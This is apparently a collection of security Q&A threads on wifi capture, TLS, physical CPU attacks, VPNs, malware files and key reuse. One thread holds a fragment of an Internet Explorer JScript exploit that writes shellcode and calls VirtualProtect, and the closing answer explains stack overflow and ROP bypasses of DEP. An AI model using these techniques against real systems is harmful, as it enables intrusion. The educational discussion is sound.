What is the difference between ASA 5505 Security Appliance and without Security Appliance Considering the two devices, ASA 5505 Security Appliance and without Security Appliance.

What are the differences between having security appliance and without security appliance?

I can not find the datasheet without security appliance and no compare facility exists on the official website.

Does it mean that without security appliance, the device does not have software? If so, which software? ASDM?

What are the differences between having security appliance and without security appliance?

Bad listing information by a seller on Amazon. Seriously, there is no ASA (Adaptive Security Appliance) without a security appliance.

You can find the datasheet for the ASA-5505 on Cisco's website here. On "Table 2" you will find the ordering information which includes both the part numbers referenced on the Amazon website that indicates what is included.

This product line has already had it's EoS/EoL announcement and has already passed the last ship date from Cisco (i.e. Cisco is no longer manufacturing these or providing them to distributors). What you will find now is the stock that individual sellers had on hand before this point...some will raise the price to take advantage of the limited availability, others will drop the price to get them out of inventory faster. You will also see more of these appearing on the used market.


how to catch a packets from wifi that I am connected to ( or not connected to )? I have wifi connection, and I want to use something like wireshark to catch all the packages that my wifi router is listening to.

How can I do it?

If i want to catch packets from the router that I could not connect to - is it possible ?

Your router probably can listen on only on one channel at once. To listen to every channel - assuming 2.4 GHz wifi networking (802.11b/g/n) - you will need 14 wifi interfaces, each one at one channel, listening in promiscuous mode.

You will need more than one computer, as your computer probably does not have enough USB ports, and a hub will not have enough bandwidth and power available to support a dozen wifi cards.

After setting 14 interfaces (wlan1 to wlan14) you can run this on any Linux with tcpdump installed:

for IFACE in $(seq 1 14) ; do
  tcpdump -i wlan${IFACE} -w dump.wlan${IFACE} -I &
  echo $! >> tcpdump.pid # save pid to a file
done

Parameter used:

-i: use the specified interface

-w: write on specified file

-I: turn on wifi monitor mode

To finish the capture, run this:

for PID in $(cat tcpdump.pid) ; do
  kill $PID
done


No certificate found alert in nodejs https server in mobile I have created a website using nodejs . And using ssl certificate from sslforfree.com . It is working fine on desktop and i checked it in SSL Checker it is working fine . But in mobile it is showing alert No certificates found. Please see the image attached.

here is my code

var app = express();
const port = process.env.PORT || 80;

var options = {
    key:fs.readFileSync('./ssl/private.key'),
    cert:fs.readFileSync('./ssl/certificate.crt'),
    ca: [
        fs.readFileSync('./ssl/ca_bundle.crt'),
    ],
    requestCert: true,
    rejectUnauthorized: false
};

https.createServer(options, app).listen(443);

app.use(function(req, res, next) {
  if(!req.secure) {
    return res.redirect(['https://', req.get('Host'), req.url].join(''));
  }
  next();
});

app.set('view engine', 'ejs');

app.use('/file', fileRoutes);
app.use('/task', taskRoutes);
app.use('/', mainRoutes);

app.listen(port, () => {
  console.log(`Started up at port ${port}`);
});

Your server is requesting a client certificate from the browser. If you did not intend to do that, why do you have requestCert: true,?


A link redirect to http instead of https: how critical is it? I just join a project, and while browsing the code, I realize that some links redirect to another web page, in HTTP instead of HTTPS.

The linked website has an https version, and there was no reason to not use it so I fix the issue.

However, the first website is on production, so we should avoid rebuilding the whole server for minor correction but rather wait to regroup several minor fixes.

I'm just wondering if this is a minor fix, or if leading users to an HTTP website is a major problem.

The linked website is a showcase website belonging to the company I work for, and there is no interaction such as logging into an account, so I guess while man in the middle attack is still possible, there is no sensible content/data to steal. Besides that, the link is in the footer of the first website, and the website itself doesn't have major traffic, so the number of people clicking it shouldn't be that high

How critical is it? Can such issue wait several days, or should it be fixed as soon as possible?

If your website is purely static and doesn't contain any login or sensitive data, then the risk on a technical level is likely low, and may not warrant an out of cycle fix.

On the other hand there's a risk to reputation. If your business relies on a reputation of being "secure" then it may look bad to potential customers/clients that you aren't following best practices (https everywhere).

EDIT: As per Jason Ross' answer I should also mention that leaking credentials through cookies is possible when a user visits the insecure website, and has logged into a web app on the same domain and the cookies were also improperly set (missing SECURE bit)


What can give physical access to CPU? If an attacker has an unlimited physical access to CPU, but does not have access to memory, including RAM, can he attack and gain access to the user's data?

I heard the opinion that this is impossible according to the laws of physics, even with an electron microscope. It's true?

If you have physical access, you can pretty much get anything you want out of the CPU.  Particularly if you have a semiconductor test lab. Here's a quick, incomplete list, of how to get data out.

JTAG:  JTAG is the simplest method as it does not require you have any specialized equipment, and it's inexpensive ($100USD).  The downside is that you have to stop the clock.  The system also might be aware that it is in boundary scan mode.
Probe Station: This is a complicated method. You decap the IC and then can physically probe metal lines to get power information if the circuits are CMOS as it is voltage mode.  The engineering time to know what you are looking for, and the cost of a probe station is prohibitive.  Outside of engineering time, you'll need ($25kUSD) just for a probe station to get you 8-bits.  It will go on up from there, but in the case of AES-NI, because it's a physical implementation, it's pretty obvious where the S-BOX hardware is.  Also, on the one die that I saw with a SEM, it would be really easy to get to the data because the keys ran a long way on higher metal.  Furthermore, the risk of damage to the IC is high because you are physically touching the wires.
Optically:  This is the safest method to extract information where you look at the emissions from "switching" that are created when you have hot carries that put out an emission as they return to a lower energy level.  This is an effect in classic physics that will always happen in a MOS device. You still need to decap the IC, and have a feel for what you are looking for specifically, but it does no physical damage.  You also need a very good high speed imager, a gas chamber for your inert gas to keep the die from oxidizing, and a good engineer.  This very complicated method will set you back about ($1M USD).

I have left out power attacks as I don't consider them to be very practical in most cases.  I have decapped and FIB'd on power taps, but that's similar to the probe station method.  Most large CPUs just have too much substrate noise for an external power attack at this point.   You could also use quantum magnetometers spy on the traces on the ICs; however, this is basically theory. Igor Savukov has magnetometers with sensitivity that is high enough get B-field information out of traces, but that's also in the exotic range.

Basically, unless you are doing JTAG, it is generally out of the realm of probabilities for individuals.


Are 3rd party CAPTCHA techniques vulnerable to MITM attacks? Presume I'm a bad actor and want to do a naughty thing on a site protected by some 3rd party CAPTCHA solution. For instance, perhaps I'm a spammer who wants some way to script sign-ups to Hotmail.
For the target site to use CAPTCHA, it presumably must load a javascript file from the CAPTCHA provider's server. Since I'm in control of the browser (and DNS etc) what's to stop me substituting my own javascript instead? And if I can swap in my own script, what's to stop me "short-circuiting" the CAPTCHA to be immediately solved?
Out of curiosity, I did some Googling. I found that there are indeed some providers who claim they can defeat CAPTCHAs, but interestingly these providers all seem to use humans to do the solving. (Basing this on the fact that they all offer a sign-up option for workers as well as clients.)
What is the defence mechanism against the sort of attack I've described?

The solution is to never trust clients to execute code. If everything is done server-side, there is no possibility of a MITM attack, since you can just cryptographically sign the token that says "Yes, User X did complete the CAPTCHA at this time". As soon as you add in authentication, MITM becomes incredibly difficult.
You can substitute your own JS, but the website you are trying to spam won't let you finish the signup process because it expects a signed token from the CAPTCHA server. Without access to the private key, a client cannot create these tokens.


Can we wipe an Android phone completely using Encryption and Factory Wipe? (Samsung Galaxy S7 to be exact) Can we wipe an Android phone completely using Encryption and Factory Wipe? (Samsung Galaxy S7 to be exact)

I have a Samsung Galaxy S7. I believe cell phones use flash storage (like SSD) and its not as secure as NOn-SSD wiping.
https://www.quora.com/What-kind-of-storage-do-phones-use-i-e-SSD-HDD-and-flash

For example with Computers, I know that SSD drives that are already encrypted, is relatively safe to write to them and nobody can access your encrypted data- as long as nobody knows your password and nobody has access to your computer/HD or no malware etc.
But If you write to an SSD drive unecrypted, even if you wipe it and encrypted it after, its not as secure. So wiping is not as 100% effective. So I am concerned about Cell Phone "hard drive storage" being flash storage:
https://www.quora.com/What-kind-of-storage-do-phones-use-i-e-SSD-HDD-and-flash

My queston is, according to this guide
https://www.ubergizmo.com/how-to/wipe-android-phone-tablet/

it says you simply Encrypt your cell phone with a really good password that nobody can figure out. and then do a factory wipe and that should wipe your cell phone 100% clean, so anything on your cell phone previously is 100% wiped. Is this true/accurate?

These guides also say something similar:
https://www.psafe.com/en/blog/data-actually-gone-wipe-phone-clean/
Quote from this website: "After the encrypting process is complete, you hit the “Factory Reset” button, which makes your phone 100% clean and ready to sell."

Another layer of protection.  My phone also has a program called "Shreddit." that supposedly wipes your phone clean, so if we do Encryption, Factory reset + use this program with US DOD 3 pass wipe Scheme..... should all the existing data on my phone be pretty much wiped and not accessible and recoverable?
http://apps.palmtronix.com/shreddit/android/

Thanks guys, Thank you in advance!

"Android phone" actually means very little. Many vendors implement several technologies in completely different ways  and Samsung uses a special security system called "Knox" which is used to store cryptokeys securely.

Knox works by concealing the unlock keys until the CPU provides the system with credentials. There are two ways to use it:

Knox will release the keys to most system partitions as soon as the CPU demands them, no questions asked. This may sound stupid, but if you think about it, even when the system is decrypting the data already, there is no way for anyone to get past the lock screen if the bootloader is locked. Knox will still refuse to provide the CPU with Samsung Pay, Secure Folder and Samsung Health data without first being "unlocked" by biometric, PIN, Password or pattern credentials. If a system modification is detected, Knox will destroy these keys permanently and disable its ability to read or store new ones.
The most secure one: Knox will not send any key to the CPU until the user enters authenticates, before the OS even starts. This means even your device doesn't get to know the key to mount all partitions without user input. Were Samsung to allow this on BL-unlocked devices, it would be safe to use a device with the bootloader unlocked.

Now, all recent Samsung Galaxy devices (like many other premium phones) should be encrypted by default, transparently to the user (or such feature can be enabled in Settings). It means that - upon "factory resetting" the device, you are recreating partitions with new keys and replacing the ones stored in Knox with the new. This means that anyone who gets the phone will only be able to see (provided they root the device) a bunch of pseudo-random garbage, but will never get the keys to make anything out of it.

TL;DR: Your data is safe


Link from a Http page to a Https page - is it a security issue? I have a site which is mostly not an anything which needs to be protected. However there is a small part of the site which is only for logged in users.

So my regular site is Http & the site of logged in users is through Https.

On my regular Http site - I have a link to the https login page for those users who need to access that content.

I was wondering if this is a security issue - i.e. having a link from a HTTP page to a HTTPS page?

The only attack I can think of is if there is some kind of Man in the middle attack where someone modifies my link to point to a fake site with a URL which looks similar to mine.

Is this a concern? How can I mitigate it? Is the only way to turn my regular site also into https?

EDIT: My question is not a duplicate of the other question - the other question asks about switching to http post login. My question is totally different - it's about 2 different parts of the same site - one which needs login and one which is publicly accessible. I am asking if it's ok to keep the first part https (both for login and post login) and keep the other part http.

Yes it is insecure.

The easiest way to attack that is sslstrip, a tools that do a MitM and automatically replace https links by http ones.

The only secure way to do it correctly is to have https on the whole website, and activate HSTS.

Note that even for your unlogged users https is usefull, for example to prevent third-parties (like ISP) to insert ads in your websites without your consent.


Question: How to plan email policy for start-ups? I'm a part of a software start-up. I've the role of IT admin as well as requirement gathering (business analysis). Right now we're a team of seven people and we all are in the 'core team'. Now we're planning to lay down a email policy for the company. With my knowledge and experience I proposed the following things:

Email access should be project and role specific.
Communication to the outside world should be totally banned except when the role or project demands so. For ex. When the person is in marketing department or the project deals with clients where communicating with clients is necessary.

Now about objections:

One of us argued that he would want to use company ID for accessing forums because he doesn't want to use two different IDs for same purpose. I can't digest this.
Someone else said, his company allowed use of personal ID at workplace for project related work. He could use his work ID at previous company to communicate with outside world. They want this flexibility.
Someone can use even paper-pencil to leak the data. This is not totally wrong but efforts to leak?
Start-ups are based on trust. Sure they are but confidentiality?

You are violating your own policy by asking this question. You communicate with the outside world over an issue related to your startup.

The fact that you start by violating your own policy indicates that you haven't thought the issue through.

Your policy basically says that if your startup uses some open source library and that library has an issue the developers in your startup aren't allowed to write posts to the mailing list of the open source library and they aren't allowed to report bugs to the bugtracker of the open source library.

If you do an effective ban on communication with the outside world that reduces the efficiency of your programmers. There might be startups where total secrecy is important but in most startups it's probably not worthwhile.

I once did an intership in university. The academic group in which I worked didn't use any source control. The had a blanket policy of no outside data transfer. I did the sensible thing of installing source control for myself and asked whether I can backup the data to an external server. I basically got a: "Well, okay."

The basically allowed me to get around the senseless policy of no outside data transfer. They however didn't explain exactly why they didn't want outside data transfer. As a result I couldn't make sensible decisions about when I communicate which data that were in line with the company policy.

Instead of trying to ban all outside communication you should talk with your developers
about which informations can safely communicated and which information can't. In most startups you shouldn't forbid your employees from communicating all information.


Is it safe to include timestamps in error codes that are shown to the users? If an error occurs, our web shop generates an error-code that is shown to the user. At the moment, it does not contain a time stamp but only the day of the month. That is non-intuitive but I assume the original intention was to give potential attacker as few information as possible.

However, it would be more convenient to include a more precise time stamp, e.g., YYYY-MM-DD-HH-MM.

Is it a security hole to show more precise time information?

I'm not talking about a high-resolution time stamp, but only the rough time so it is easier to locate logfiles and quickly find out which release of the code caused the problem.

All the attacker sees is the current time and the time zone that we use. Does not seem critical to me, but maybe I miss something.

I don't see an issue here because the user will know the exact time they did something. Considering that a server needs to sync their time with an authoritative time source, there will be nothing "leaked" to the user that the user won't already know.

If you wish to hide some aspect of your server (like what time zone it resides) you can process your logs as UTC time as a generalized time format.


do SRV records make a system more vulnerable or expose too much We are all pretty comfortable with the fact that if ports 80 and 443 are open that these are for http even though some companies block 22 forcing people to repurpose 443 for ssh. So, those instances notwithstanding, does describing public services with SRV records make your system any more vulnerable than another sort of port relocation?  22->2222 etc...

(Consider that my network is still port mapped by China and Russia at least once a day or over the course of a few days. It would be great if my firewall could detect and blacklist them but that'll just escalate the issue)

A SRV record defines the location of a service. It doesn't provide or expose that service. Your server (along with any firewalls you implement) provides and exposes the service, so I don't see how/why the existence of an SRV record makes you any more or less vulnerable. If you provide and expose HTTP, SMTP, SSH, etc., etc. then it matters little how a potential hacker finds those services.


How to avoid crash after successfully run shellcode? I am a student studying information security. Recently I read this article link and made full exploit code. calc.exe is executed as expected. But after running shellcode, IE just crashed. (because no more code provided after shellcode...). I tried to avoid crash but could not find proper solution. What I tried is as follows.
            ... var jscriptPointer = readDWORD(fakeRegExpAddr);
                var jscriptBase = resolveModuleBase(jscriptPointer);
                var kernel32Pointer = resolveModuleByIAT(jscriptBase, "KERNEL32.dll");
                var kernel32Base = resolveModuleBase(kernel32Pointer);
                var VirtualProtect = resolveKernel32Function(kernel32Base, "VirtualProtect");
                var GetModuleHandleA = resolveKernel32Function(kernel32Base, "GetModuleHandleA");
                var GetProcAddress = resolveKernel32Function(kernel32Base, "GetProcAddress");
                var stack = a(fakeRegExpAddr, readDWORD(fakeRegExpAddr));
                var regExpExecAddress = ((stack.charCodeAt(4)<<16)|stack.charCodeAt(3)) - 0x44;
                var oldEbp = ((stack.charCodeAt(7)&0xFF)<<24) | (stack.charCodeAt(6)<<8) | ((stack.charCodeAt(5)>>8)&0xFF);
                var newEbp = regExpExecAddress - 0x2000;
                var pLongjmpTarget = regExpExecAddress;
                var sc = fakeRegExpAddr + sizeof_RegExpObj;
                for(var f=0; f<shellcode.length; f++){
                    a(sc + (f * sizeof_WORD), shellcode.charCodeAt(f));
                }
                    var ctx = sc + 5;
                    a(ctx + (2 * e), oldEbp);         // these two lines are for passing data
                    a(ctx + (3 * e), pLongjmpTarget); // to shellcode.

                for(var f=newEbp-0x20; f<newEbp+0x40; f+=U)
                {
                    a(f,0x7FFE0000);
                }

                a(newEbp + 4, VirtualProtect);
                a(newEbp + 4 + 4 + 0x18, sc);
                a(newEbp + 4 + 4 + 4 + 0x18, sc);
                a(newEbp + 4 + 4 + 4 + 4 + 0x18, (shellcode.length * sizeof_WCHAR));
                a(newEbp + 4 + 4 + 4 + 4 + 4 + 0x18, 0x40);
                a(newEbp + 4 + 4 + 4 + 4 + 4 + 4 + 0x18, newEbp);
                a(regExpExecAddress, newEbp);
            }

This code is referenced from this link. Then I don't know what to do in shellcode.
how can I handle this problem? Any suggestions are welcomed. Thanks in advance.

This can be solved by longjmp. longjmp is similar to goto, so this can rollback to original state of your code.


What's the most secure technique for authenticating user in a website? I usually ask user for his username and password and run a query over database to return true or false, do you think it's secure enough? do you think it's better to add some steps to procedure?

"Security" encompasses the whole system, including your server, your database, the transport mechanism between client and server, the client's browser... and the human user. Usually, this last item will be the bottleneck of security. You can (and should) do a lot of things to process the password correctly (use HTTPS for transfer, store only a properly hashed version of the password,...) but, ultimately, your security won't be greater than the care with which the user will choose and keep private his password.

You can help the user with education and providing password generation tools, taking care to flatter the user into cooperation, rather than constraining him into submission (angry users are never a good thing for security). Yet standard passwords will only get you that far (by "standard" I mean "passwords which human users remember in their mind").

Heavier methods with at least potential for stronger security include:

one-time passwords, either printed on a paper or generated on-the-fly by a hardware device such as this one;
SSL client certificates, stored in the entrails of the user's machine, or, for better resilience, in a smart card;
biometric systems, which make sense, security-wise, as long as the physical characteristic which is thus measured is reasonably secret (e.g. a retina scan, as opposed to face recognition, because your face is not secret at all, you show it to everybody every time you go in the street) or there is a contextual feature (an armed guard) which ensures that you are putting your own real biological finger on the fingerprint reader;
combinations of several of the above.

Security practitioners often talk of multi-factor authentication as a generic classification framework for authentication methods, which may help in assessing what kind of attacks the system would resist to (this classification is often abused into simplistic judgements such as "2FA is good, 1FA is bad", which more relate to administrative compliance and public relations than actual security).


Does TOTP make sense for verification codes? I know that the concept of TOPT is for when the device on which the code is to be verified is separate from the device that is going to generate the code.
However, I was wondering if it is a bad idea to use the TOPT algorithm for generating the verification codes used in email/phone_number verification(Where the code is both generated and verified on the same device which is the server)

You probably could, but it doesn't make much sense. Email and even SMS can take long enough to reach people - even people who are explicitly checking for the message - that you'd need to check the last few minutes of codes, which broadens the range of allowable values and slightly increases the risk of an attacker guessing/brute-forcing the code. Meanwhile, the whole point of TOTP - that the generator and the verifier don't need to have any communication channel and only need two common pieces of info (the key and the clock) - is moot here.
Instead, just generate a short code using a cryptographically secure (pseudo)random number generator and send it to the recipient, plus store it (possibly in hashed form) briefly. You can use a database, or just store it in RAM or a cache if that won't pose problems due to load balancing, etc. That way there's only one valid value, you can revoke it immediately any time you want to (e.g. once it's used, once it's expired, or if you detect multiple failed attempts), and there's no persistent secret (the TOTP key) that can be stolen by an attacker to enable generating all future codes too. You can also easily make changes to your codes - change their character set, their length, the way they're generated, etc - any time it feels important.

As a side note, if your site/service has any highly sensitive data - payment info, sensitive PII, etc. - please do not use anything SMS-based as a sole authentication factor. SMS is not very secure, and also mobile phone operators are notoriously bad at verifying your identity before re-issuing your SIM card (or otherwise transferring your number) so possession of a given phone number is not strong proof of identity. Even US government guidelines (which are in many cases behind the times) say you need to offer alternatives to SMS and explain to users that choosing SMS for authentication (assuming you offer it at all) is taking a risk. SMS is acceptable - though still not ideal - as a second factor for authentication, most commonly in combination with a memorized identifier (password/PIN).


VPN security/compromise I want to get a VPN with one of the known providers. I don't know much about VPNs but I know they issue certificates which you download and it authenticates the connection and basically gives access. I have some questions though.

When you download the VPN certificates, even though they're being downloaded through HTTPS are they actually safe from eavesdroppers and your ISP? Let's say the encrypted HTTPS was stored and then decrypted and those certificates were uncovered, wouldn't pretty much give them total access to the VPN connection?
Are iVPN and Mullvad good VPNs for privacy?
If you use the VPN provider's client do you still need to download "network-manager-openvpn" from the repository?
The VPN client from the provider(s) is open source and shouldn't be backdoored but could still have exploits so the question is does it mean a new attack vector against the host?

I don't think I've fully realized how VPNs work so forgive me. If somebody could explain to me how I have understood it wrong it would be appreciated.

EDIT: What I ment in the first question was regarding the initial download of the configuration certificates and if it would be possible for a malicious third party to gain access to them during download or even decrypt the HTTPS sometime after download of the certificates and therefore have the keys to the connection.

I'll do my best to answer your points, as each situation is different.

1 - If you're using an SSL VPN solution (which is probably the case), the only way they would be able to decrypt your traffic is if they got a hold of the VPN servers private key (this is the way SSL/TLS works). Even if your traffic is captured, they wouldn't be able to decrypt it without the private key, unless a very weak cipher is being used (i'm leaving out the possibility of a MITM attack).

2 - I personally use iVPN on a daily basis with a PPTP VPN setup. I like it, very good for the price you pay and extremely easy to setup. I have no experience with Mullvad.

3 - This isn't very clear - every provider is different. You might not even need a 3rd party client depending on the solution you go for. I use my Mac VPN settings to connect to my iVPN server from my MacBook, and the iPhone VPN settings from my phone. Both support VPN connections out of the box. Windows does too.

4 - It's always good to be weary about open source solutions, but generally, if you download a client from a reputable provider and you're paying for the service, they are responsible for making sure their software does not contain malicious code - even if they are building their solution from Open source software. Exploits can still be (and will be) discovered, not much that can be done to prevent that - but they should provide patches to fix any exploits which are discovered.

There is a lot of every good documentation on how VPNs work, and their purpose. There's a lot of information here:

http://computer.howstuffworks.com/vpn.htm

Hope this helps.


Ensuring security of a Disaster Recovery Plan The Disaster Recovery Plan (DRP) is a document that outlines, in detail, the actions that should be taken to restore systems & files in the event of a catastrophe. The fact that these plans hold sensitive information about your network infrastructure and passwords means these documents must be handled with extreme caution.

What is the most secure way to handle the keeping of a disaster recovery plan? Thoughts to be considered :

Keepers must be trustworthy and ensure that the data remain safe
The plan must include people outside the realm of IT to be holders of the data (in case IT department goes rogue, small IT team are in a car accident together, etc)
Assume that they plans are digital and appropriately encrypted
Plans need to be updated every year or so (or more depending on how often there may be a major infrastructure change).
The plan must assume that no IT people with an intimate knowledge of the systems are accessible and, as such, the files can be handed to any competent IT consulting firm to execute the plan.

Possible ideas :

Give high level executives access to the files and let them pick their own password for the encryption while ensuring that they maintain the key and password in a safe place. (Multiple staff would need to be in for this to work)
Get two executives or other trusted high level staff. One would select the password for encryption and the other would hold the key. Each would have to consent to opening the files for usage which would prevent a rogue executive. You might use two sets of executives to ensure that if one is on vacation or inaccessible that the plan can still be executed.
Lock the plan in a safety deposit box and provide two trusted staff with the key

I would love to hear your thoughts on how to keep these docs secure. I can't recall seeing any real discussion on this and I would be interested to hear peoples take on how to keep these documents physically secure.

You appear to be discussing accessing the Plan itself and not the actual technical implementation of Disaster Recovery. The technical aspects can craft an answer for you.

When the disaster recovery event actually happens the IT aspects will probably include retrieval of off-site data storage and activation of systems for recovery of same. Let's consider your question from the technical implementation and see how it impacts close hold storage.  As a given, the Plan addresses much more than IT but IT confidentiality appears to me to be a gating factor.

For the Plan to work it needs to be more than just revised every year or so it needs to be practiced (repeatedly) and all involved need to know their role and have reasonable expectations of what will be happening (e.g. what building in what city do I go to to get my copies of my contract filings)

I would suggest many eyes need to see this plan nearly continually (new hires, role changes, etc.).  Therefore, SharePoint or some company cloud storage available to all would be the first place I would store the Plan.  Personal copies for key recovery personnel that are tested for their safekeeping and existence in training would be another good place. Locked in a safe deposit box seems to be a very bad place for the Plan.


How dangerous are worm:win32/Goldrv!rfn and worm:win32/vbjk? Windows defender has detected the following worms on my system and I was wondering how dangerous are they and what is it that they do?

Worm:Win32/Goldrv!rfn is a trojan that installs
Win32/Rootkit.Agent.HU malware.

Installation:
The trojan does not create any copies of itself.

The trojan creates the following files:
%windir%\system32\drivers\symavc32.sys
                      (167936 B, Win32/Rootkit.Agent.HU)
%temp%\_it.bat

Installs the following system drivers (path, name):
%windir%\system32\drivers\symavc32.sys, symavc32

The trojan executes the following files:
%temp%\_it.bat

The trojan deletes the original file.

The trojan may delete the following folders:
%currentfolder%


Can I use elliptic curve DSA in a secure message service? I'm looking to design a system that allows a user of a crypto-coin such as Bitcoin to both have an online wallet and to be able to send and receive encrypted emails in the same system.

The relevant portion concerning Bitcoin is that for a user's address, such 31uEbMgunupShBVTewXjtqbBv5MndwfXhb, is a hash of the user's public key. The keypair is a ECDSA public-private key pair.

If I am a user, could I use this key pair for both Bitcoin transactions and for sending and receiving encrypted emails? Besides the given that using a key pair for both things may be unwise, are there any additional pitfalls I should be aware of?

Edit: I'm looking to use a system such as OpenPGP, not S/MIME. To be more specific, I'm attempting to see if it's possible to use the key pair generated by a Bitcoin or Litecoin derivative, which is a ECDSA key pair, in an email like system so that users of this email system can use and exchange key pairs with other, non-system users such as those using GnuPG.

ECDSA is a signature algorithm. The private key for ECDSA is an integer x between 1 and n-1, where n is the size of (the subgroup of) the used elliptic curve (normally a prime number). The public key is a curve point Q equal to xG, where G is a conventional fixed point on the curve.

You cannot use a signature algorithm for anything else than signing, of course, but it so happens that there is a key exchange algorithm called ECDH which uses public/private key pairs with exactly the same format. In that sense, it is technically feasible to use the same key for ECDSA and ECDH. Key exchange can be used for asymmetric encryption through hybrid encryption (you use the exchanged secret as basis for symmetric encryption); in the case of ECDH, this process has even be standardized under the name ECIES.

However, using the same key pair for signature and encryption is not a very good idea. This is frowned upon by many cryptographers and standards; it is a capital offence in the world of risk analysis and certifications. There are two main reasons for that:

Signature and encryption keys have distinct life cycles and call for distinct, incompatible management methods. In particular, you usually want to have a backup or escrow of your encryption private key, and you certainly do not want such a backup or escrow for your signature private key. See this answer for a discussion.
Interactions between different cryptographic algorithms have not been thoroughly analysed. We do not really know whether using the same private key for both ECDH and ECDSA may put either at risk (e.g. allowing an attacker to forge a fake signature by engaging in some ECDH with you, with niftily crafted DH messages, or something like that). Remember that any given cryptographic algorithm can be deemed secure only because it has sustained scrutiny from many cryptographers for several years; interactions between ECDH and ECDSA cannot boast such an amount of review.

When in doubt, abstain. And, in this case, you should doubt. Really.


What is the future of SIEM tools? Do SIEM tools have a future or will everything move to 100% automation? Will an analyst need to monitor and analyse the collected data in the future or will this be automated? How will SIEMs tools be in the future?

Does SIEM has future

Yes.

  like is it going 100% automation

No.

  like an Analyst need to monitor and analyse?

Yes, but hopefully less than they do today.

  Or how the SIEM tools will be in future?

More automated analysis, but still reliant on humans to discriminate between false and true positives.


How do ASLR and DEP work? How do Address Space Layout Randomisation (ASLR) and Data Execution Prevention (DEP)  work, in terms of preventing vulnerabilities from being exploited? Can they be bypassed?

Address Space Layout Randomisation (ASLR) is a technology used to help prevent shellcode from being successful. It does this by randomly offsetting the location of modules and certain in-memory structures. Data Execution Prevention (DEP) prevents certain memory sectors, e.g. the stack, from being executed. When combined it becomes exceedingly difficult to exploit vulnerabilities in applications using shellcode or return-oriented programming (ROP) techniques.

First, let's look at how a normal vulnerability might be exploited. We'll skip all the details, but let's just say we're using a stack buffer overflow vulnerability. We've loaded a big blob of 0x41414141 values into our payload, and eip has been set to 0x41414141, so we know it's exploitable. We've then gone and used an appropriate tool (e.g. Metasploit's pattern_create.rb) to discover the offset of the value being loaded into eip. This is the start offset of our exploit code. To verify, we load 0x41 before this offset, 0x42424242 at the offset, and 0x43 after the offset.

In a non-ASLR and non-DEP process, the stack address is the same every time we run the process. We know exactly where it is in memory. So, let's see what the stack looks like with the test data we described above:

stack addr | value
-----------+----------
 000ff6a0  | 41414141
 000ff6a4  | 41414141
 000ff6a8  | 41414141
 000ff6aa  | 41414141
>000ff6b0  | 42424242   > esp points here
 000ff6b4  | 43434343
 000ff6b8  | 43434343

As we can see, esp points to 000ff6b0, which has been set to 0x42424242. The values prior to this are 0x41 and the values after are 0x43, as we said they should be. We now know that the address stored at 000ff6b0 will be jumped to. So, we set it to the address of some memory that we can control:

stack addr | value
-----------+----------
 000ff6a0  | 41414141
 000ff6a4  | 41414141
 000ff6a8  | 41414141
 000ff6aa  | 41414141
>000ff6b0  | 000ff6b4
 000ff6b4  | cccccccc
 000ff6b8  | 43434343

We've set the value at 000ff6b0 such that eip will be set to 000ff6b4 - the next offset in the stack. This will cause 0xcc to be executed, which is an int3 instruction. Since int3 is a software interrupt breakpoint, it'll raise an exception and the debugger will halt. This allows us to verify that the exploit was successful.

> Break instruction exception - code 80000003 (first chance)
[snip]
eip=000ff6b4

Now we can replace the memory at 000ff6b4 with shellcode, by altering our payload. This concludes our exploit.

In order to prevent these exploits from being successful, Data Execution Prevention was developed. DEP forces certain structures, including the stack, to be marked as non-executable. This is made stronger by CPU support with the No-Execute (NX) bit, also known as the XD bit, EVP bit, or XN bit, which allows the CPU to enforce execution rights at the hardware level. DEP was introduced in Linux in 2004 (kernel 2.6.8), and Microsoft introduced it in 2004 as part of WinXP SP2. Apple added DEP support when they moved to the x86 architecture in 2006. With DEP enabled, our previous exploit won't work:

> Access violation - code c0000005 (!!! second chance !!!)
[snip]
eip=000ff6b4

This fails because the stack is marked as non-executable, and we've tried to execute it. To get around this, a technique called Return-Oriented Programming (ROP) was developed. This involves looking for small snippets of code, called ROP gadgets, in legitimate modules within the process. These gadgets consist of one or more instructions, followed by a return. Chaining these together with appropriate values in the stack allows for code to be executed.

First, let's look at how our stack looks right now:

stack addr | value
-----------+----------
 000ff6a0  | 41414141
 000ff6a4  | 41414141
 000ff6a8  | 41414141
 000ff6aa  | 41414141
>000ff6b0  | 000ff6b4
 000ff6b4  | cccccccc
 000ff6b8  | 43434343

We know that we can't execute the code at 000ff6b4, so we have to find some legitimate code that we can use instead. Imagine that our first task is to get a value into the eax register. We search for a pop eax; ret combination somewhere in any module within the process. Once we've found one, let's say at 00401f60, we put its address into the stack:

stack addr | value
-----------+----------
 000ff6a0  | 41414141
 000ff6a4  | 41414141
 000ff6a8  | 41414141
 000ff6aa  | 41414141
>000ff6b0  | 00401f60
 000ff6b4  | cccccccc
 000ff6b8  | 43434343

When this shellcode is executed, we'll get an access violation again:

> Access violation - code c0000005 (!!! second chance !!!)
eax=cccccccc ebx=01020304 ecx=7abcdef0 edx=00000000 esi=7777f000 edi=0000f0f1
eip=43434343 esp=000ff6ba ebp=000ff6ff

The CPU has now done the following:

Jumped to the pop eax instruction at 00401f60.
Popped cccccccc off the stack, into eax.
Executed the ret, popping 43434343 into eip.
Thrown an access violation because 43434343 isn't a valid memory address.

Now, imagine that, instead of 43434343, the value at 000ff6b8 was set to the address of another ROP gadget. This would mean that pop eax gets executed, then our next gadget. We can chain gadgets together like this. Our ultimate goal is usually to find the address of a memory protection API, such as VirtualProtect, and mark the stack as executable. We'd then include a final ROP gadget to do a jmp esp equivilent instruction, and execute shellcode. We've successfully bypassed DEP!

In order to combat these tricks, ASLR was developed. ASLR involves randomly offsetting memory structures and module base addresses to make guessing the location of ROP gadgets and APIs very difficult.

On Windows Vista and 7, ASLR randomises the location of executables and DLLs in memory, as well as the stack and heaps. When an executable is loaded into memory, Windows gets the processor's timestamp counter (TSC), shifts it by four places, performs division mod 254, then adds 1. This number is then multiplied by 64KB, and the executable image is loaded at this offset. This means that there are 256 possible locations for the executable. Since DLLs are shared in memory across processes, their offsets are determined by a system-wide bias value that is computed at boot. The value is computed as the TSC of the CPU when the MiInitializeRelocations function is first called, shifted and masked into an 8-bit value. This value is computed only once per boot.

When DLLs are loaded, they go into a shared memory region between 0x50000000 and 0x78000000. The first DLL to be loaded is always ntdll.dll, which is loaded at 0x78000000 - bias * 0x100000, where bias is the system-wide bias value computed at boot. Since it would be trivial to compute the offset of a module if you know ntdll.dll's base address, the order in which modules are loaded is randomised too.

